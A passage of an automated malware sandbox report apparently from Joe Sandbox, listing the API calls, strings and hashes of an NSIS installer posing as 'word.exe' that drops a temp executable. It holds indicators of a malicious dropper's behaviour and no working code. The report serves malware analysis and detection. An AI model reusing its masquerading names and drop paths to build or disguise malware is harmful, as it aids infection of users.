FindFirstFileA.KERNELBASE(?,00422588,C:\,004057AF,C:\,C:\,00000000,C:\,C:\,?,?,?,004054D1,?,C:\Users\user\AppData\Local\Temp\,?), ref: 00405E9E
FindClose.KERNEL32(00000000), ref: 00405EAA

Strings

C:\, xrefs: 00405E93

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: C:\
API String ID: 2295610775-3404278061
Opcode ID: 8f5741f541142194311058383cb09f480250e6c9d027ffd32cd20bf8f0009166
Instruction ID: 22d16aeb20e1d117df59da4f29a20059377f8c00669f4036672bdba2b414caf9
Opcode Fuzzy Hash: 8f5741f541142194311058383cb09f480250e6c9d027ffd32cd20bf8f0009166
Instruction Fuzzy Hash: 95D0123190D520ABD7015738BD0C84B7A59DB553323508F32B465F53E0C7788D928AEA

Uniqueness

Uniqueness Score: -1.00%

Function 00403981 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004039BD
ShowWindow.USER32(?), ref: 004039DA
DestroyWindow.USER32 ref: 004039EE
SetWindowLongA.USER32(?,00000000,00000000), ref: 00403A0A
GetDlgItem.USER32(?,?), ref: 00403A2B
SendMessageA.USER32 ref: 00403A3F
IsWindowEnabled.USER32(00000000), ref: 00403A46
GetDlgItem.USER32(?,00000001), ref: 00403AF4
GetDlgItem.USER32(?,00000002), ref: 00403AFE
SetClassLongA.USER32(?,000000F2,?), ref: 00403B18
SendMessageA.USER32 ref: 00403B69
GetDlgItem.USER32(?,00000003), ref: 00403C0F
ShowWindow.USER32(00000000,?), ref: 00403C30
EnableWindow.USER32(?,?), ref: 00403C42
EnableWindow.USER32(?,?), ref: 00403C5D
GetSystemMenu.USER32 ref: 00403C73
EnableMenuItem.USER32 ref: 00403C7A
SendMessageA.USER32 ref: 00403C92
SendMessageA.USER32 ref: 00403CA5
lstrlenA.KERNEL32(00420538,?,00420538,mrodzekle Setup), ref: 00403CCE
SetWindowTextA.USER32(?,00420538), ref: 00403CDD
ShowWindow.USER32(?,0000000A), ref: 00403E11

Strings

mrodzekle Setup, xrefs: 00403CBF

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID: mrodzekle Setup
API String ID: 184305955-4007173231
Opcode ID: de2fcf6cdcd3bcc1c8429ee21d0de177b3c1a35057383903eb5d37bb8d4e0bda
Instruction ID: 5fd13e9e65c650ae90d185cc2d11acb2e8fe01e0af56b63b73109b0399f4b85d
Opcode Fuzzy Hash: de2fcf6cdcd3bcc1c8429ee21d0de177b3c1a35057383903eb5d37bb8d4e0bda
Instruction Fuzzy Hash: EFC1CF71A04201BBDB20AF61ED85D2B7EBCEB4470AB40453EF541B51E1C73DAA429F5E

Uniqueness

Uniqueness Score: -1.00%

Function 004035EB Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405F28: GetModuleHandleA.KERNEL32(?,?,?,00403165,0000000D), ref: 00405F3A
Part of subcall function 00405F28: GetProcAddress.KERNEL32(00000000,?,?,?,00403165,0000000D), ref: 00405F55

lstrcatA.KERNEL32(1033,00420538,80000001,Control Panel\Desktop\ResourceLocale,00000000,00420538,00000000,00000003,C:\Users\user\AppData\Local\Temp\,?,C:\Users\user\AppData\Roaming\word.exe,00000000), ref: 0040365C
lstrlenA.KERNEL32("C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe" ,?,?,?,"C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe" ,00000000,C:\Users\user\AppData\Local\Temp,1033,00420538,80000001,Control Panel\Desktop\ResourceLocale,00000000,00420538,00000000,00000003,C:\Users\user\AppData\Local\Temp\), ref: 004036D1
lstrcmpiA.KERNEL32(?,.exe,"C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe" ,?,?,?,"C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe" ,00000000,C:\Users\user\AppData\Local\Temp,1033,00420538,80000001,Control Panel\Desktop\ResourceLocale,00000000,00420538,00000000), ref: 004036E4
GetFileAttributesA.KERNEL32("C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe" ), ref: 004036EF
LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\Temp), ref: 00403738

Part of subcall function 00405AF6: wsprintfA.USER32 ref: 00405B03

RegisterClassA.USER32 ref: 0040377F
SystemParametersInfoA.USER32(00000030,00000000,_Nb,00000000), ref: 00403797
CreateWindowExA.USER32 ref: 004037D0
ShowWindow.USER32(00000005,00000000), ref: 00403806
GetClassInfoA.USER32(00000000,RichEdit20A,004236E0), ref: 00403832
GetClassInfoA.USER32(00000000,RichEdit,004236E0), ref: 0040383F
RegisterClassA.USER32(004236E0), ref: 00403848
DialogBoxParamA.USER32 ref: 00403867

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 0040361F
RichEd20, xrefs: 0040380C
_Nb, xrefs: 0040378E, 00403793
RichEdit, xrefs: 00403839
1033, xrefs: 0040360B, 00403657
C:\Users\user\AppData\Local\Temp\, xrefs: 004035F7
C:\Users\user\AppData\Roaming\word.exe, xrefs: 004035EF
.DEFAULT\Control Panel\International, xrefs: 00403647
RichEd32, xrefs: 0040381A
C:\Users\user\AppData\Local\Temp, xrefs: 0040366B, 00403673, 0040370B, 00403711, 00403721
"C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe" , xrefs: 0040369F, 004036A7, 004036B4, 004036FE, 00403704
RichEdit20A, xrefs: 0040382A, 00403830
.exe, xrefs: 004036DE
6B, xrefs: 00403747

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe" $.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\word.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb$6B
API String ID: 1975747703-1136046952
Opcode ID: 6d9bdf85a822e0f9bb9c4e2fcc7d2e939be480c33988b3e2c2e3dba5f36146f3
Instruction ID: 6624008b3449f808402c67b3262d240ca0850aee1e0dcbc9c28568ef27b6b269
Opcode Fuzzy Hash: 6d9bdf85a822e0f9bb9c4e2fcc7d2e939be480c33988b3e2c2e3dba5f36146f3
Instruction Fuzzy Hash: 6A61E9B17002047EE620AF619D45E3B7ABCEB4474AF40457FF941B22E2D77D9E428A2D

Uniqueness

Uniqueness Score: -1.00%

Function 00402C55 Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32(C:\Users\user\AppData\Local\Temp\,?,00000000), ref: 00402C66
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Roaming\word.exe,00000400), ref: 00402C82

Part of subcall function 0040586F: GetFileAttributesA.KERNELBASE(00000003,00402C95,C:\Users\user\AppData\Roaming\word.exe,80000000,00000003), ref: 00405873
Part of subcall function 0040586F: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405895

GetFileSize.KERNEL32(00000000,00000000,0042C000,00000000,C:\Users\user\AppData\Roaming,C:\Users\user\AppData\Roaming,C:\Users\user\AppData\Roaming\word.exe,C:\Users\user\AppData\Roaming\word.exe,80000000,00000003), ref: 00402CCE

Strings

Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402E2D
C:\Users\user\AppData\Roaming\word.exe, xrefs: 00402C6C, 00402C7B, 00402C8F, 00402CAF
pA, xrefs: 00402CE3
Null, xrefs: 00402D4C
soft, xrefs: 00402D43
Inst, xrefs: 00402D3A
C:\Users\user\AppData\Local\Temp\, xrefs: 00402C5F
Error launching installer, xrefs: 00402CA5
C:\Users\user\AppData\Roaming, xrefs: 00402CB0, 00402CB5, 00402CBB
C:\Users\user\AppData\Roaming\word.exe, xrefs: 00402C55

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming$C:\Users\user\AppData\Roaming\word.exe$C:\Users\user\AppData\Roaming\word.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft$pA
API String ID: 4283519449-2207440701
Opcode ID: d74ddf077dad9ccce0d63da47009af9ced08a9d3a58e0b3746407ee1fc4199ad
Instruction ID: 62828f2e2b01cd2e9021f71d1007b468b6294b04ed91f3cf43b909f99e7c5814
Opcode Fuzzy Hash: d74ddf077dad9ccce0d63da47009af9ced08a9d3a58e0b3746407ee1fc4199ad
Instruction Fuzzy Hash: C151E371E00214ABDB209F64DE89B9E7BB4EF04355F20403BF904B62D1C7BC9E458A9D

Uniqueness

Uniqueness Score: -1.00%

Function 00402E8E Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 166
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32(000000FF,00000004,00000000,00000000,00000000), ref: 00402EEC
GetTickCount.KERNEL32(0040B0E0,00004000), ref: 00402F6D
MulDiv.KERNEL32 ref: 00402F9A
wsprintfA.USER32 ref: 00402FAA
WriteFile.KERNELBASE(00000000,00000000,0040F0E0,00000000,00000000), ref: 00402FD6

Strings

... %d%%, xrefs: 00402FA4

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CountTick$FileWritewsprintf
String ID: ... %d%%
API String ID: 4209647438-2449383134
Opcode ID: b944acebcfd11712949cb6564d56ed346294539165133d47b9c6a5aca850bb39
Instruction ID: 896dd5a5e80e39cb813739a9bcc38eeef40bacba50e05a76af68061f47ce39f0
Opcode Fuzzy Hash: b944acebcfd11712949cb6564d56ed346294539165133d47b9c6a5aca850bb39
Instruction Fuzzy Hash: 13518A3190120AABDF10DF65DA04AAF7BB8EB00395F14413BFD11B62C4D7789E41CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00401751 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 147
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatA.KERNEL32(00000000,00000000,"C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe" ,C:\Users\user\AppData\Local\Temp,00000000,00000000,00000031), ref: 00401790
CompareFileTime.KERNEL32(-00000014,?,"C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe" ,"C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe" ,00000000,00000000,"C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe" ,C:\Users\user\AppData\Local\Temp,00000000,00000000,00000031), ref: 004017BA

Part of subcall function 00405B98: lstrcpynA.KERNEL32(?,?,00000400,004031A9,mrodzekle Setup,NSIS Error), ref: 00405BA5

Part of subcall function 00404E84: lstrlenA.KERNEL32(0041FD10,00000000,0040F0E0,00000000,?,?,?,?,?,?,?,?,?,00402FBE,00000000,?), ref: 00404EBD
Part of subcall function 00404E84: lstrlenA.KERNEL32(00402FBE,0041FD10,00000000,0040F0E0,00000000,?,?,?,?,?,?,?,?,?,00402FBE,00000000), ref: 00404ECD
Part of subcall function 00404E84: lstrcatA.KERNEL32(0041FD10,00402FBE,00402FBE,0041FD10,00000000,0040F0E0,00000000), ref: 00404EE0
Part of subcall function 00404E84: SetWindowTextA.USER32(0041FD10,0041FD10), ref: 00404EF2
Part of subcall function 00404E84: SendMessageA.USER32 ref: 00404F18
Part of subcall function 00404E84: SendMessageA.USER32 ref: 00404F32
Part of subcall function 00404E84: SendMessageA.USER32 ref: 00404F40

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 0040177E
"C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe" , xrefs: 0040176D, 00401776, 00401783, 004017A6, 004017DC, 004017F2, 00401810, 00401850, 004018D1, 004018DA, 004018E4, 004018EF

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: "C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe" $C:\Users\user\AppData\Local\Temp
API String ID: 1941528284-3798901881
Opcode ID: 1d83eeb157989370eef6aca95033163bd7760edd2b6c2f47f904ee0373184e1d
Instruction ID: ec6d4e4deed358595fa2340d5a7c786697911580d52a45c2a3a5a43c8a45cd53
Opcode Fuzzy Hash: 1d83eeb157989370eef6aca95033163bd7760edd2b6c2f47f904ee0373184e1d
Instruction Fuzzy Hash: 1C41E531900515BADF107FB5CC45EAF3679EF02329B60863BF425F10E2D67C9A418A6E

Uniqueness

Uniqueness Score: -1.00%

Function 00405346 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryA.KERNELBASE(?,?,00000000), ref: 00405389
GetLastError.KERNEL32 ref: 0040539D
SetFileSecurityA.ADVAPI32(?,80000007,00000001), ref: 004053B2
GetLastError.KERNEL32 ref: 004053BC

Strings

\s@, xrefs: 0040534C
Ls@, xrefs: 0040537B
C:\Users\user\AppData\Roaming, xrefs: 00405346

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Roaming$Ls@$\s@
API String ID: 3449924974-4232301360
Opcode ID: 6211b517ce48024f91031cad3a720f7e2baa8210faa46a43940225e11b136f78
Instruction ID: c25a7037d2469be4335b8e9940eeaad57ca25a66f44a15dc7ff8fd6819e2376f
Opcode Fuzzy Hash: 6211b517ce48024f91031cad3a720f7e2baa8210faa46a43940225e11b136f78
Instruction Fuzzy Hash: 030108B1D14219EAEF119FA4CC047EFBFB8EB14354F004176D904B6280D7B8A604DFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00405EBA Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00405ED1
wsprintfA.USER32 ref: 00405F0A
LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 00405F1E

Strings

%s%s.dll, xrefs: 00405F04
\, xrefs: 00405EE2
UXTHEME, xrefs: 00405EC3

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%s.dll$UXTHEME$\
API String ID: 2200240437-4240819195
Opcode ID: 95ac327f182d4f2ec24d2199b65981d3e05ead90002209c0018270c035d5f6e2
Instruction ID: e0394f74180a6a16eba84a37178681bb1de021cb3750537530e5e19d16d25b78
Opcode Fuzzy Hash: 95ac327f182d4f2ec24d2199b65981d3e05ead90002209c0018270c035d5f6e2
Instruction Fuzzy Hash: AFF09C3094050967DB159B68DD0DFFB365CF708305F1405B7B586E11C2DA74E9158FD9

Uniqueness

Uniqueness Score: -1.00%

Function 0040589E Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Roaming\word.exe,004030F9,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00403289), ref: 004058B1
GetTempFileNameA.KERNEL32(?,0061736E,00000000,?), ref: 004058CB

Strings

nsa, xrefs: 004058AA
C:\Users\user\AppData\Local\Temp\, xrefs: 004058A1, 004058A5
C:\Users\user\AppData\Roaming\word.exe, xrefs: 0040589E

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\word.exe$nsa
API String ID: 1716503409-3536471476
Opcode ID: 0450f55a1c395314d18141c5bfd7e62b2554956accf044952057d9506f78994b
Instruction ID: e60e9e2f6482c2c4b9a71223117799e22c549444224f45eff9547ee1bfe60b0e
Opcode Fuzzy Hash: 0450f55a1c395314d18141c5bfd7e62b2554956accf044952057d9506f78994b
Instruction Fuzzy Hash: 46F0A7373482447AE7105E55DC04B9B7F9DDFD1750F10C027FE049A280D6B49954C7A5

Uniqueness

Uniqueness Score: -1.00%

Function 004015B3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040571F: CharNextA.USER32(004054D1), ref: 0040572D
Part of subcall function 0040571F: CharNextA.USER32(00000000), ref: 00405732
Part of subcall function 0040571F: CharNextA.USER32(00000000), ref: 00405741

GetFileAttributesA.KERNELBASE(00000000,00000000,00000000,0000005C,00000000,000000F0), ref: 00401605

Part of subcall function 00405346: CreateDirectoryA.KERNELBASE(?,?,00000000), ref: 00405389

SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\AppData\Local\Temp,00000000,00000000,000000F0), ref: 00401634

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 00401629

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\Temp
API String ID: 1892508949-2935972921
Opcode ID: 2bf56f72201c9e699422734a4e548a5e4c3f3c6807ff828ac4a79b9dc522e826
Instruction ID: 7e794a0d764ef42534189bc4677109bd04a63590121f3ac1906b169044d7ab5d
Opcode Fuzzy Hash: 2bf56f72201c9e699422734a4e548a5e4c3f3c6807ff828ac4a79b9dc522e826
Instruction Fuzzy Hash: 67112B35504141ABEF317BA55D419BF26B0EE92314728063FF582722D2C63C0943A62F

Uniqueness

Uniqueness Score: -1.00%

Function 0040576C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405B98: lstrcpynA.KERNEL32(?,?,00000400,004031A9,mrodzekle Setup,NSIS Error), ref: 00405BA5

Part of subcall function 0040571F: CharNextA.USER32(004054D1), ref: 0040572D
Part of subcall function 0040571F: CharNextA.USER32(00000000), ref: 00405732
Part of subcall function 0040571F: CharNextA.USER32(00000000), ref: 00405741

lstrlenA.KERNEL32(C:\,00000000,C:\,C:\,?,?,?,004054D1,?,C:\Users\user\AppData\Local\Temp\,?), ref: 004057BF
GetFileAttributesA.KERNELBASE(C:\,C:\,C:\,C:\,C:\,C:\,00000000,C:\,C:\,?,?,?,004054D1,?,C:\Users\user\AppData\Local\Temp\,?), ref: 004057CF

Strings

C:\, xrefs: 00405772, 00405777, 0040577D, 004057B8, 004057BE, 004057C6, 004057CE

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\
API String ID: 3248276644-3404278061
Opcode ID: 0c6b5d1daa3c2ede88059e0d3e78c561d31498b229fd294e54aeb43f41febe10
Instruction ID: 54d673280676c30d7487fb506765264cad7adccc2ba99e33922fd806b78c8ed4
Opcode Fuzzy Hash: 0c6b5d1daa3c2ede88059e0d3e78c561d31498b229fd294e54aeb43f41febe10
Instruction Fuzzy Hash: DAF0C829105D509AD222373A5C05ABF2655CE86364F19063BFC55B32D2DB3C8943FD7E

Uniqueness

Uniqueness Score: -1.00%

Function 004053F8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00422540,Error launching installer), ref: 0040541D
